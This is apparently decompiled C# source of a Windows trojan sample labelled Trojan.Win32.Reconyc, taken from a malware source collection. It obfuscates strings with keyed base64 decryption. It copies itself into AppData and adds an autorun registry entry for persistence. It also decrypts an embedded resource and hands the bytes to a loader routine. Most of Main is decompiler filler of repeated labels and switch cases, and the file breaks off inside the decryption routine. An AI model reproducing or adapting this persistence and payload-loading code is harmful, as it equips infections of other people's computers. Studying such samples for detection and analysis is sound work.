MalwareSourceCode/MSIL/Trojan/Win32/R/Trojan.Win32.Reconyc.fpuc-333fe4b596e4becc15486e4c0e2f12bc1d33b9ad394291f35656a5710e82ead7/ûnµÈ1KPº9üÝrçÛ5ºL.cs
2022-08-18 06:28:56 -05:00

2605 lines
68 KiB
C#

// Decompiled with JetBrains decompiler
// Type: ûnµÈ1KPº9üÝrçÛ5ºL
// Assembly: Ð5Qæªo9E, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: ADB6FA32-9FFF-4137-9449-DFA399EAD1A2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.fpuc-333fe4b596e4becc15486e4c0e2f12bc1d33b9ad394291f35656a5710e82ead7.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Resources;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.Cryptography;
using System.Text;
using System.Windows.Forms;
[StandardModule]
internal sealed class ûnµÈ1KPº9üÝrçÛ5ºL
{
public const string Ætµ3ñJ9ÃAºrôÐæ5ÀRªjCÉcº2æmW = "Ú";
public const string Ûþ4wBª9Sºµk1ƒSÀ4ºøH = "ªÖ";
[DebuggerNonUserCode]
static ûnµÈ1KPº9üÝrçÛ5ºL()
{
}
[DllImport("úÓQ7µg", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern object â1ªMcÉtFÎÉf4Dâº0ÇñyµZÆnª(bool ByValÈøºTk93dòµ, double ùº8ÞzG0Pܪ);
[DllImport("aºñ1CËÊæk", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern object Ã4üFcµèº5pÅWÍ6díPªªîNxÓ7Jصëg9ÿR6xºÀ(
uint ByValNºÇmý7µaæ4EØCª3wÅé,
double غ5mçSCøoÝ7ªïµÎMe80);
private static void ª4õÒsNÆCµ6üyT8ßäjyÎâS7º3çªwÄQïLе9rC2ªùgÀÅåApº5B8áµÚm0()
{
string str = ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("heiEcqa6wrQsSdifSoTfhQ==", "x4KMt09");
string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("gVtNUBlhpl6NDfxrmGsqFmp4IWDwgPIMKqLHx2Xjes4=", "e0A2Wq");
try
{
if (!Directory.Exists(path))
Directory.CreateDirectory(path);
if (!File.Exists(path + str))
FileSystem.FileCopy(Application.ExecutablePath, path + str);
object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject(ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("3FVCrs/oyDIrQHlr3tY1bw==", "j0CRb8r4EGo6")));
try
{
NewLateBinding.LateCall(objectValue, (System.Type) null, "regwrite", new object[2]
{
(object) (ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("621LD0zt7MRKdURScYjJdNz9iU5WJ/UNGiNNYBVXGWw1DYyy4tIkcs6BJ7xi2RdqNrxifFGctkQ=", "Rc6i7QDb0") + str),
(object) (path + str)
}, (string[]) null, (System.Type[]) null, (bool[]) null, true);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
NewLateBinding.LateCall(objectValue, (System.Type) null, "regwrite", new object[2]
{
(object) (ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("OzF7CSHrWQNT/qc6w2pAFrNkvU2woXMrzyEie9p5yew1Wt7s2RkWmQKfATdfs8wdWsZMGqRVDKI=", "Mi27N") + str),
(object) (path + str)
}, (string[]) null, (System.Type[]) null, (bool[]) null, true);
ProjectData.ClearProjectError();
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
}
[STAThread]
public static void Main()
{
label_0:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = -2;
label_1:
int num3 = 2;
ûnµÈ1KPº9üÝrçÛ5ºL.ª4õÒsNÆCµ6üyT8ßäjyÎâS7º3çªwÄQïLе9rC2ªùgÀÅåApº5B8áµÚm0();
label_70:
num3 = 72;
ResourceManager resourceManager = new ResourceManager(ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("qOqUxjx+zKWN8zoKWwSZMA==", "Mf96Qnd0NT"), Assembly.GetExecutingAssembly());
label_71:
num3 = 73;
label_72:
num3 = 74;
label_73:
num3 = 75;
label_74:
num3 = 76;
label_84:
num3 = 87;
label_85:
num3 = 88;
label_86:
num3 = 89;
label_87:
num3 = 90;
label_88:
num3 = 91;
label_89:
num3 = 92;
label_90:
num3 = 93;
label_91:
num3 = 94;
label_92:
num3 = 95;
label_93:
num3 = 96;
label_94:
num3 = 97;
label_95:
num3 = 98;
label_96:
num3 = 99;
label_97:
num3 = 100;
label_98:
num3 = 101;
label_99:
num3 = 102;
label_100:
num3 = 103;
label_101:
num3 = 104;
label_102:
num3 = 105;
label_103:
num3 = 106;
label_104:
num3 = 107;
label_105:
num3 = 108;
label_106:
num3 = 109;
label_107:
num3 = 110;
label_108:
num3 = 111;
label_109:
num3 = 112;
label_110:
num3 = 113;
label_111:
num3 = 114;
label_112:
num3 = 115;
label_113:
num3 = 116;
label_114:
num3 = 117;
label_115:
num3 = 118;
label_116:
num3 = 119;
string QôªË1dÕ1LúºzDªû6xÅ7Yµ = resourceManager.GetObject(ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("qOqUxjx+zKWN8zoKWwSZMA==", "Mf96Qnd0NT")).ToString();
label_144:
num3 = 148;
label_145:
num3 = 149;
label_146:
num3 = 150;
label_147:
num3 = 151;
label_148:
num3 = 152;
label_149:
num3 = 153;
label_150:
num3 = 154;
label_151:
num3 = 155;
label_152:
num3 = 156;
label_153:
num3 = 157;
label_154:
num3 = 158;
ªþÊP5we0CµÖëðNfǵE êp5we0CµÖëðNfǵE = new ªþÊP5we0CµÖëðNfǵE(ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("QoIKO+LwvRldGXcbyofqvw==", "c1N8TnWj"));
label_159:
num3 = 164;
label_160:
num3 = 165;
label_161:
num3 = 166;
label_162:
num3 = 167;
label_163:
num3 = 168;
string s = êp5we0CµÖëðNfǵE.ën8LµÍÓºPkú90ãϪCrª5Æ6µGûrmBÕº(QôªË1dÕ1LúºzDªû6xÅ7Yµ);
label_188:
num3 = 194;
label_189:
num3 = 195;
label_190:
num3 = 196;
label_191:
num3 = 197;
label_192:
num3 = 198;
label_193:
num3 = 199;
label_194:
num3 = 200;
label_195:
num3 = 201;
label_196:
num3 = 202;
label_197:
num3 = 203;
label_198:
num3 = 204;
label_199:
num3 = 205;
label_200:
num3 = 206;
label_201:
num3 = 207;
label_202:
num3 = 208;
label_203:
num3 = 209;
label_204:
num3 = 210;
label_205:
num3 = 211;
label_206:
num3 = 212;
label_207:
num3 = 213;
label_208:
num3 = 214;
label_209:
num3 = 215;
label_210:
num3 = 216;
label_211:
num3 = 217;
label_212:
num3 = 218;
label_213:
num3 = 219;
label_214:
num3 = 220;
label_215:
num3 = 221;
label_216:
num3 = 222;
label_217:
num3 = 223;
label_218:
num3 = 224;
label_219:
num3 = 225;
label_220:
num3 = 226;
label_221:
num3 = 227;
label_222:
num3 = 228;
label_223:
num3 = 229;
label_224:
num3 = 230;
label_225:
num3 = 231;
label_226:
num3 = 232;
label_227:
num3 = 233;
label_228:
num3 = 234;
label_229:
num3 = 235;
label_230:
num3 = 236;
label_231:
num3 = 237;
label_232:
num3 = 238;
label_233:
num3 = 239;
label_234:
num3 = 240;
label_235:
num3 = 241;
label_236:
num3 = 242;
label_237:
num3 = 243;
label_238:
num3 = 244;
label_239:
num3 = 245;
label_240:
num3 = 246;
label_241:
num3 = 247;
label_242:
num3 = 248;
label_243:
num3 = 249;
label_244:
num3 = 250;
label_245:
num3 = 251;
label_246:
num3 = 252;
label_247:
num3 = 253;
label_248:
num3 = 254;
label_249:
num3 = (int) byte.MaxValue;
label_250:
num3 = 256;
label_251:
num3 = 257;
label_252:
num3 = 258;
label_253:
num3 = 259;
label_254:
num3 = 260;
label_255:
num3 = 261;
label_256:
num3 = 262;
label_257:
num3 = 263;
label_258:
num3 = 264;
label_259:
num3 = 265;
label_260:
num3 = 266;
label_261:
num3 = 267;
label_262:
num3 = 268;
label_263:
num3 = 269;
label_264:
num3 = 270;
label_265:
num3 = 271;
label_266:
num3 = 272;
label_267:
num3 = 273;
label_268:
num3 = 274;
label_269:
num3 = 275;
label_270:
num3 = 276;
label_271:
num3 = 277;
label_272:
num3 = 278;
label_273:
num3 = 279;
label_274:
num3 = 280;
label_275:
num3 = 281;
label_276:
num3 = 282;
label_277:
num3 = 283;
label_278:
num3 = 284;
label_279:
num3 = 285;
label_280:
num3 = 286;
label_281:
num3 = 287;
label_282:
num3 = 288;
label_283:
num3 = 289;
label_284:
num3 = 290;
label_285:
num3 = 291;
label_286:
num3 = 292;
label_287:
num3 = 293;
label_288:
num3 = 294;
label_289:
num3 = 295;
label_290:
num3 = 296;
label_373:
num3 = 381;
label_374:
num3 = 382;
label_375:
num3 = 383;
label_376:
num3 = 384;
label_377:
num3 = 385;
label_378:
num3 = 386;
label_379:
num3 = 387;
label_380:
num3 = 388;
label_381:
num3 = 389;
label_382:
num3 = 390;
label_383:
num3 = 391;
label_384:
num3 = 392;
label_385:
num3 = 393;
label_386:
num3 = 394;
label_387:
num3 = 395;
label_388:
num3 = 396;
label_389:
num3 = 397;
label_390:
num3 = 398;
label_391:
num3 = 399;
label_392:
num3 = 400;
label_393:
num3 = 401;
label_394:
num3 = 402;
label_395:
num3 = 403;
label_396:
num3 = 404;
label_397:
num3 = 405;
label_398:
num3 = 406;
label_399:
num3 = 407;
label_400:
num3 = 408;
label_401:
num3 = 409;
label_402:
num3 = 410;
label_403:
num3 = 411;
label_404:
num3 = 412;
label_405:
num3 = 413;
label_406:
num3 = 414;
label_407:
num3 = 415;
label_408:
num3 = 416;
label_409:
num3 = 417;
label_410:
num3 = 418;
label_411:
num3 = 419;
label_412:
num3 = 420;
label_413:
num3 = 421;
label_414:
num3 = 422;
label_415:
num3 = 423;
label_416:
num3 = 424;
label_417:
num3 = 425;
label_418:
num3 = 426;
label_419:
num3 = 427;
label_420:
num3 = 428;
label_421:
num3 = 429;
label_422:
num3 = 430;
label_423:
num3 = 431;
label_424:
num3 = 432;
label_425:
num3 = 433;
ûnµÈ1KPº9üÝrçÛ5ºL.öªÔ7RqÉeSðº0ÿKÅ6dµ9ÎàªÝw1BX(Encoding.Default.GetBytes(s));
label_426:
num3 = 434;
label_427:
num3 = 435;
label_428:
num3 = 436;
label_429:
num3 = 437;
label_430:
num3 = 438;
label_431:
num3 = 439;
label_432:
num3 = 440;
label_433:
num3 = 441;
label_434:
num3 = 442;
label_435:
num3 = 443;
label_436:
num3 = 444;
label_437:
num3 = 445;
label_438:
num3 = 446;
label_439:
num3 = 447;
label_440:
num3 = 448;
label_441:
num3 = 449;
label_442:
num3 = 450;
label_443:
num3 = 451;
label_444:
num3 = 452;
label_445:
num3 = 453;
label_446:
num3 = 454;
label_447:
num3 = 455;
label_448:
num3 = 456;
label_449:
num3 = 457;
label_450:
num3 = 458;
label_451:
num3 = 459;
label_452:
num3 = 460;
label_453:
num3 = 461;
label_454:
num3 = 462;
label_455:
num3 = 463;
label_456:
num3 = 464;
label_457:
num3 = 465;
label_458:
num3 = 466;
label_459:
num3 = 467;
label_460:
num3 = 468;
label_461:
num3 = 469;
label_462:
num3 = 470;
label_463:
num3 = 471;
label_464:
num3 = 472;
label_465:
num3 = 473;
label_466:
num3 = 474;
label_467:
num3 = 475;
label_468:
num3 = 476;
label_469:
num3 = 477;
label_470:
num3 = 478;
label_471:
num3 = 479;
label_472:
num3 = 480;
label_473:
num3 = 481;
label_474:
num3 = 482;
label_475:
num3 = 483;
label_476:
num3 = 484;
label_477:
num3 = 485;
label_478:
num3 = 486;
label_479:
num3 = 487;
label_480:
num3 = 488;
label_481:
num3 = 489;
label_482:
num3 = 490;
label_483:
num3 = 491;
label_484:
num3 = 492;
label_485:
num3 = 493;
label_486:
num3 = 494;
label_487:
num3 = 495;
label_488:
num3 = 496;
label_489:
num3 = 497;
label_490:
num3 = 498;
label_491:
num3 = 499;
label_492:
num3 = 500;
label_493:
num3 = 501;
label_494:
num3 = 502;
label_495:
num3 = 503;
label_496:
num3 = 504;
label_497:
num3 = 505;
label_498:
num3 = 506;
label_499:
num3 = 507;
label_500:
num3 = 508;
label_501:
num3 = 509;
label_502:
num3 = 510;
label_503:
num3 = 511;
label_504:
num3 = 512;
label_505:
num3 = 513;
label_506:
num3 = 514;
label_507:
num3 = 515;
label_508:
num3 = 516;
label_509:
num3 = 517;
label_510:
num3 = 518;
label_511:
num3 = 519;
label_512:
num3 = 520;
goto label_519;
label_514:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
case 72:
goto label_70;
case 4:
num3 = 4;
goto case 5;
case 5:
num3 = 5;
goto case 6;
case 6:
num3 = 6;
goto case 7;
case 7:
num3 = 7;
goto case 8;
case 8:
num3 = 8;
goto case 9;
case 9:
num3 = 9;
goto case 10;
case 10:
num3 = 10;
goto case 11;
case 11:
num3 = 11;
goto case 12;
case 12:
num3 = 12;
goto case 13;
case 13:
num3 = 13;
goto case 14;
case 14:
num3 = 14;
goto case 15;
case 15:
num3 = 15;
goto case 16;
case 16:
num3 = 16;
goto case 17;
case 17:
num3 = 17;
goto case 18;
case 18:
num3 = 18;
goto case 19;
case 19:
num3 = 19;
goto case 20;
case 20:
num3 = 20;
goto case 21;
case 21:
num3 = 21;
goto case 22;
case 22:
num3 = 22;
goto case 23;
case 23:
num3 = 23;
goto case 24;
case 24:
num3 = 24;
goto case 25;
case 25:
num3 = 25;
goto case 26;
case 26:
num3 = 26;
goto case 27;
case 27:
num3 = 27;
goto case 28;
case 28:
num3 = 28;
goto case 29;
case 29:
num3 = 29;
goto case 30;
case 30:
num3 = 30;
goto case 31;
case 31:
num3 = 31;
goto case 32;
case 32:
num3 = 32;
goto case 33;
case 33:
num3 = 33;
goto case 34;
case 34:
num3 = 34;
goto case 35;
case 35:
num3 = 35;
goto case 36;
case 36:
num3 = 36;
goto case 37;
case 37:
num3 = 37;
goto case 38;
case 38:
num3 = 38;
goto case 39;
case 39:
num3 = 39;
goto case 40;
case 40:
num3 = 40;
goto case 41;
case 41:
num3 = 41;
goto case 42;
case 42:
num3 = 42;
goto case 43;
case 43:
num3 = 43;
goto case 44;
case 44:
num3 = 44;
goto case 45;
case 45:
num3 = 45;
goto case 46;
case 46:
num3 = 46;
goto case 47;
case 47:
num3 = 47;
goto case 48;
case 48:
num3 = 48;
goto case 49;
case 49:
num3 = 49;
goto case 50;
case 50:
num3 = 50;
goto case 51;
case 51:
num3 = 51;
goto case 52;
case 52:
num3 = 52;
goto case 53;
case 53:
num3 = 53;
goto case 54;
case 54:
num3 = 54;
goto case 55;
case 55:
num3 = 55;
goto case 56;
case 56:
num3 = 56;
goto case 57;
case 57:
num3 = 57;
goto case 58;
case 58:
num3 = 58;
goto case 59;
case 59:
num3 = 59;
goto case 60;
case 60:
num3 = 60;
goto case 61;
case 61:
num3 = 61;
goto case 62;
case 62:
num3 = 62;
goto case 63;
case 63:
num3 = 63;
goto case 64;
case 64:
num3 = 64;
goto case 65;
case 65:
num3 = 65;
goto case 66;
case 66:
num3 = 66;
goto case 67;
case 67:
num3 = 67;
goto case 68;
case 68:
num3 = 68;
goto case 69;
case 69:
num3 = 69;
goto case 70;
case 70:
num3 = 70;
goto case 71;
case 71:
num3 = 71;
goto label_70;
case 73:
goto label_71;
case 74:
goto label_72;
case 75:
goto label_73;
case 76:
goto label_74;
case 77:
case 87:
goto label_84;
case 78:
num3 = 78;
goto case 79;
case 79:
num3 = 79;
goto case 80;
case 80:
num3 = 80;
goto case 81;
case 81:
num3 = 81;
goto case 82;
case 82:
num3 = 82;
goto case 83;
case 83:
num3 = 83;
goto case 84;
case 84:
num3 = 84;
goto case 85;
case 85:
num3 = 85;
goto case 86;
case 86:
num3 = 86;
goto label_84;
case 88:
goto label_85;
case 89:
goto label_86;
case 90:
goto label_87;
case 91:
goto label_88;
case 92:
goto label_89;
case 93:
goto label_90;
case 94:
goto label_91;
case 95:
goto label_92;
case 96:
goto label_93;
case 97:
goto label_94;
case 98:
goto label_95;
case 99:
goto label_96;
case 100:
goto label_97;
case 101:
goto label_98;
case 102:
goto label_99;
case 103:
goto label_100;
case 104:
goto label_101;
case 105:
goto label_102;
case 106:
goto label_103;
case 107:
goto label_104;
case 108:
goto label_105;
case 109:
goto label_106;
case 110:
goto label_107;
case 111:
goto label_108;
case 112:
goto label_109;
case 113:
goto label_110;
case 114:
goto label_111;
case 115:
goto label_112;
case 116:
goto label_113;
case 117:
goto label_114;
case 118:
goto label_115;
case 119:
goto label_116;
case 120:
case 148:
goto label_144;
case 121:
num3 = 121;
goto case 122;
case 122:
num3 = 122;
goto case 123;
case 123:
num3 = 123;
goto case 124;
case 124:
num3 = 124;
goto case 125;
case 125:
num3 = 125;
goto case 126;
case 126:
num3 = 126;
goto case (int) sbyte.MaxValue;
case (int) sbyte.MaxValue:
num3 = (int) sbyte.MaxValue;
goto case 128;
case 128:
num3 = 128;
goto case 129;
case 129:
num3 = 129;
goto case 130;
case 130:
num3 = 130;
goto case 131;
case 131:
num3 = 131;
goto case 132;
case 132:
num3 = 132;
goto case 133;
case 133:
num3 = 133;
goto case 134;
case 134:
num3 = 134;
goto case 135;
case 135:
num3 = 135;
goto case 136;
case 136:
num3 = 136;
goto case 137;
case 137:
num3 = 137;
goto case 138;
case 138:
num3 = 138;
goto case 139;
case 139:
num3 = 139;
goto case 140;
case 140:
num3 = 140;
goto case 141;
case 141:
num3 = 141;
goto case 142;
case 142:
num3 = 142;
goto case 143;
case 143:
num3 = 143;
goto case 144;
case 144:
num3 = 144;
goto case 145;
case 145:
num3 = 145;
goto case 146;
case 146:
num3 = 146;
goto case 147;
case 147:
num3 = 147;
goto label_144;
case 149:
goto label_145;
case 150:
goto label_146;
case 151:
goto label_147;
case 152:
goto label_148;
case 153:
goto label_149;
case 154:
goto label_150;
case 155:
goto label_151;
case 156:
goto label_152;
case 157:
goto label_153;
case 158:
goto label_154;
case 159:
case 164:
goto label_159;
case 160:
num3 = 160;
goto case 161;
case 161:
num3 = 161;
goto case 162;
case 162:
num3 = 162;
goto case 163;
case 163:
num3 = 163;
goto label_159;
case 165:
goto label_160;
case 166:
goto label_161;
case 167:
goto label_162;
case 168:
goto label_163;
case 169:
case 194:
goto label_188;
case 170:
num3 = 170;
goto case 171;
case 171:
num3 = 171;
goto case 172;
case 172:
num3 = 172;
goto case 173;
case 173:
num3 = 173;
goto case 174;
case 174:
num3 = 174;
goto case 175;
case 175:
num3 = 175;
goto case 176;
case 176:
num3 = 176;
goto case 177;
case 177:
num3 = 177;
goto case 178;
case 178:
num3 = 178;
goto case 179;
case 179:
num3 = 179;
goto case 180;
case 180:
num3 = 180;
goto case 181;
case 181:
num3 = 181;
goto case 182;
case 182:
num3 = 182;
goto case 183;
case 183:
num3 = 183;
goto case 184;
case 184:
num3 = 184;
goto case 185;
case 185:
num3 = 185;
goto case 186;
case 186:
num3 = 186;
goto case 187;
case 187:
num3 = 187;
goto case 188;
case 188:
num3 = 188;
goto case 189;
case 189:
num3 = 189;
goto case 190;
case 190:
num3 = 190;
goto case 191;
case 191:
num3 = 191;
goto case 192;
case 192:
num3 = 192;
goto case 193;
case 193:
num3 = 193;
goto label_188;
case 195:
goto label_189;
case 196:
goto label_190;
case 197:
goto label_191;
case 198:
goto label_192;
case 199:
goto label_193;
case 200:
goto label_194;
case 201:
goto label_195;
case 202:
goto label_196;
case 203:
goto label_197;
case 204:
goto label_198;
case 205:
goto label_199;
case 206:
goto label_200;
case 207:
goto label_201;
case 208:
goto label_202;
case 209:
goto label_203;
case 210:
goto label_204;
case 211:
goto label_205;
case 212:
goto label_206;
case 213:
goto label_207;
case 214:
goto label_208;
case 215:
goto label_209;
case 216:
goto label_210;
case 217:
goto label_211;
case 218:
goto label_212;
case 219:
goto label_213;
case 220:
goto label_214;
case 221:
goto label_215;
case 222:
goto label_216;
case 223:
goto label_217;
case 224:
goto label_218;
case 225:
goto label_219;
case 226:
goto label_220;
case 227:
goto label_221;
case 228:
goto label_222;
case 229:
goto label_223;
case 230:
goto label_224;
case 231:
goto label_225;
case 232:
goto label_226;
case 233:
goto label_227;
case 234:
goto label_228;
case 235:
goto label_229;
case 236:
goto label_230;
case 237:
goto label_231;
case 238:
goto label_232;
case 239:
goto label_233;
case 240:
goto label_234;
case 241:
goto label_235;
case 242:
goto label_236;
case 243:
goto label_237;
case 244:
goto label_238;
case 245:
goto label_239;
case 246:
goto label_240;
case 247:
goto label_241;
case 248:
goto label_242;
case 249:
goto label_243;
case 250:
goto label_244;
case 251:
goto label_245;
case 252:
goto label_246;
case 253:
goto label_247;
case 254:
goto label_248;
case (int) byte.MaxValue:
goto label_249;
case 256:
goto label_250;
case 257:
goto label_251;
case 258:
goto label_252;
case 259:
goto label_253;
case 260:
goto label_254;
case 261:
goto label_255;
case 262:
goto label_256;
case 263:
goto label_257;
case 264:
goto label_258;
case 265:
goto label_259;
case 266:
goto label_260;
case 267:
goto label_261;
case 268:
goto label_262;
case 269:
goto label_263;
case 270:
goto label_264;
case 271:
goto label_265;
case 272:
goto label_266;
case 273:
goto label_267;
case 274:
goto label_268;
case 275:
goto label_269;
case 276:
goto label_270;
case 277:
goto label_271;
case 278:
goto label_272;
case 279:
goto label_273;
case 280:
goto label_274;
case 281:
goto label_275;
case 282:
goto label_276;
case 283:
goto label_277;
case 284:
goto label_278;
case 285:
goto label_279;
case 286:
goto label_280;
case 287:
goto label_281;
case 288:
goto label_282;
case 289:
goto label_283;
case 290:
goto label_284;
case 291:
goto label_285;
case 292:
goto label_286;
case 293:
goto label_287;
case 294:
goto label_288;
case 295:
goto label_289;
case 296:
goto label_290;
case 297:
case 307:
case 381:
goto label_373;
case 298:
num3 = 298;
goto case 299;
case 299:
num3 = 299;
goto case 300;
case 300:
num3 = 300;
goto case 301;
case 301:
num3 = 301;
goto case 302;
case 302:
num3 = 302;
goto case 303;
case 303:
num3 = 303;
goto case 304;
case 304:
num3 = 304;
goto case 305;
case 305:
num3 = 305;
goto case 306;
case 306:
num3 = 306;
goto label_373;
case 308:
num3 = 308;
goto case 309;
case 309:
num3 = 309;
goto case 310;
case 310:
num3 = 310;
goto case 311;
case 311:
num3 = 311;
goto case 312;
case 312:
num3 = 312;
goto case 313;
case 313:
num3 = 313;
goto case 314;
case 314:
num3 = 314;
goto case 315;
case 315:
num3 = 315;
goto case 316;
case 316:
num3 = 316;
goto case 317;
case 317:
num3 = 317;
goto case 318;
case 318:
num3 = 318;
goto case 319;
case 319:
num3 = 319;
goto case 320;
case 320:
num3 = 320;
goto case 321;
case 321:
num3 = 321;
goto case 322;
case 322:
num3 = 322;
goto case 323;
case 323:
num3 = 323;
goto case 324;
case 324:
num3 = 324;
goto case 325;
case 325:
num3 = 325;
goto case 326;
case 326:
num3 = 326;
goto case 327;
case 327:
num3 = 327;
goto case 328;
case 328:
num3 = 328;
goto case 329;
case 329:
num3 = 329;
goto case 330;
case 330:
num3 = 330;
goto case 331;
case 331:
num3 = 331;
goto case 332;
case 332:
num3 = 332;
goto case 333;
case 333:
num3 = 333;
goto case 334;
case 334:
num3 = 334;
goto case 335;
case 335:
num3 = 335;
goto case 336;
case 336:
num3 = 336;
goto case 337;
case 337:
num3 = 337;
goto case 338;
case 338:
num3 = 338;
goto case 339;
case 339:
num3 = 339;
goto case 340;
case 340:
num3 = 340;
goto case 341;
case 341:
num3 = 341;
goto case 342;
case 342:
num3 = 342;
goto case 343;
case 343:
num3 = 343;
goto case 344;
case 344:
num3 = 344;
goto case 345;
case 345:
num3 = 345;
goto case 346;
case 346:
num3 = 346;
goto case 347;
case 347:
num3 = 347;
goto case 348;
case 348:
num3 = 348;
goto case 349;
case 349:
num3 = 349;
goto case 350;
case 350:
num3 = 350;
goto case 351;
case 351:
num3 = 351;
goto case 352;
case 352:
num3 = 352;
goto case 353;
case 353:
num3 = 353;
goto case 354;
case 354:
num3 = 354;
goto case 355;
case 355:
num3 = 355;
goto case 356;
case 356:
num3 = 356;
goto case 357;
case 357:
num3 = 357;
goto case 358;
case 358:
num3 = 358;
goto case 359;
case 359:
num3 = 359;
goto case 360;
case 360:
num3 = 360;
goto case 361;
case 361:
num3 = 361;
goto case 362;
case 362:
num3 = 362;
goto case 363;
case 363:
num3 = 363;
goto case 364;
case 364:
num3 = 364;
goto case 365;
case 365:
num3 = 365;
goto case 366;
case 366:
num3 = 366;
goto case 367;
case 367:
num3 = 367;
goto case 368;
case 368:
num3 = 368;
goto case 369;
case 369:
num3 = 369;
goto case 370;
case 370:
num3 = 370;
goto case 371;
case 371:
num3 = 371;
goto case 372;
case 372:
num3 = 372;
goto case 373;
case 373:
num3 = 373;
goto case 374;
case 374:
num3 = 374;
goto case 375;
case 375:
num3 = 375;
goto case 376;
case 376:
num3 = 376;
goto case 377;
case 377:
num3 = 377;
goto case 378;
case 378:
num3 = 378;
goto case 379;
case 379:
num3 = 379;
goto case 380;
case 380:
num3 = 380;
goto label_373;
case 382:
goto label_374;
case 383:
goto label_375;
case 384:
goto label_376;
case 385:
goto label_377;
case 386:
goto label_378;
case 387:
goto label_379;
case 388:
goto label_380;
case 389:
goto label_381;
case 390:
goto label_382;
case 391:
goto label_383;
case 392:
goto label_384;
case 393:
goto label_385;
case 394:
goto label_386;
case 395:
goto label_387;
case 396:
goto label_388;
case 397:
goto label_389;
case 398:
goto label_390;
case 399:
goto label_391;
case 400:
goto label_392;
case 401:
goto label_393;
case 402:
goto label_394;
case 403:
goto label_395;
case 404:
goto label_396;
case 405:
goto label_397;
case 406:
goto label_398;
case 407:
goto label_399;
case 408:
goto label_400;
case 409:
goto label_401;
case 410:
goto label_402;
case 411:
goto label_403;
case 412:
goto label_404;
case 413:
goto label_405;
case 414:
goto label_406;
case 415:
goto label_407;
case 416:
goto label_408;
case 417:
goto label_409;
case 418:
goto label_410;
case 419:
goto label_411;
case 420:
goto label_412;
case 421:
goto label_413;
case 422:
goto label_414;
case 423:
goto label_415;
case 424:
goto label_416;
case 425:
goto label_417;
case 426:
goto label_418;
case 427:
goto label_419;
case 428:
goto label_420;
case 429:
goto label_421;
case 430:
goto label_422;
case 431:
goto label_423;
case 432:
goto label_424;
case 433:
goto label_425;
case 434:
goto label_426;
case 435:
goto label_427;
case 436:
goto label_428;
case 437:
goto label_429;
case 438:
goto label_430;
case 439:
goto label_431;
case 440:
goto label_432;
case 441:
goto label_433;
case 442:
goto label_434;
case 443:
goto label_435;
case 444:
goto label_436;
case 445:
goto label_437;
case 446:
goto label_438;
case 447:
goto label_439;
case 448:
goto label_440;
case 449:
goto label_441;
case 450:
goto label_442;
case 451:
goto label_443;
case 452:
goto label_444;
case 453:
goto label_445;
case 454:
goto label_446;
case 455:
goto label_447;
case 456:
goto label_448;
case 457:
goto label_449;
case 458:
goto label_450;
case 459:
goto label_451;
case 460:
goto label_452;
case 461:
goto label_453;
case 462:
goto label_454;
case 463:
goto label_455;
case 464:
goto label_456;
case 465:
goto label_457;
case 466:
goto label_458;
case 467:
goto label_459;
case 468:
goto label_460;
case 469:
goto label_461;
case 470:
goto label_462;
case 471:
goto label_463;
case 472:
goto label_464;
case 473:
goto label_465;
case 474:
goto label_466;
case 475:
goto label_467;
case 476:
goto label_468;
case 477:
goto label_469;
case 478:
goto label_470;
case 479:
goto label_471;
case 480:
goto label_472;
case 481:
goto label_473;
case 482:
goto label_474;
case 483:
goto label_475;
case 484:
goto label_476;
case 485:
goto label_477;
case 486:
goto label_478;
case 487:
goto label_479;
case 488:
goto label_480;
case 489:
goto label_481;
case 490:
goto label_482;
case 491:
goto label_483;
case 492:
goto label_484;
case 493:
goto label_485;
case 494:
goto label_486;
case 495:
goto label_487;
case 496:
goto label_488;
case 497:
goto label_489;
case 498:
goto label_490;
case 499:
goto label_491;
case 500:
goto label_492;
case 501:
goto label_493;
case 502:
goto label_494;
case 503:
goto label_495;
case 504:
goto label_496;
case 505:
goto label_497;
case 506:
goto label_498;
case 507:
goto label_499;
case 508:
goto label_500;
case 509:
goto label_501;
case 510:
goto label_502;
case 511:
goto label_503;
case 512:
goto label_504;
case 513:
goto label_505;
case 514:
goto label_506;
case 515:
goto label_507;
case 516:
goto label_508;
case 517:
goto label_509;
case 518:
goto label_510;
case 519:
goto label_511;
case 520:
goto label_512;
case 521:
goto label_519;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_514;
}
throw ProjectData.CreateProjectError(-2146828237);
label_519:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
public static string Æn9Kíº5ÝõRb4åfÛªXµ0ö(
string z9ªÊûWùÃwµA4sE8íºÔRµnÌý3xGáª3qÆÒ0,
string ÎæC1oºgZßE̪òj4ÕpC7ôºgXµÂ9áªä)
{
byte[] inputBuffer = Convert.FromBase64String(z9ªÊûWùÃwµA4sE8íºÔRµnÌý3xGáª3qÆÒ0);
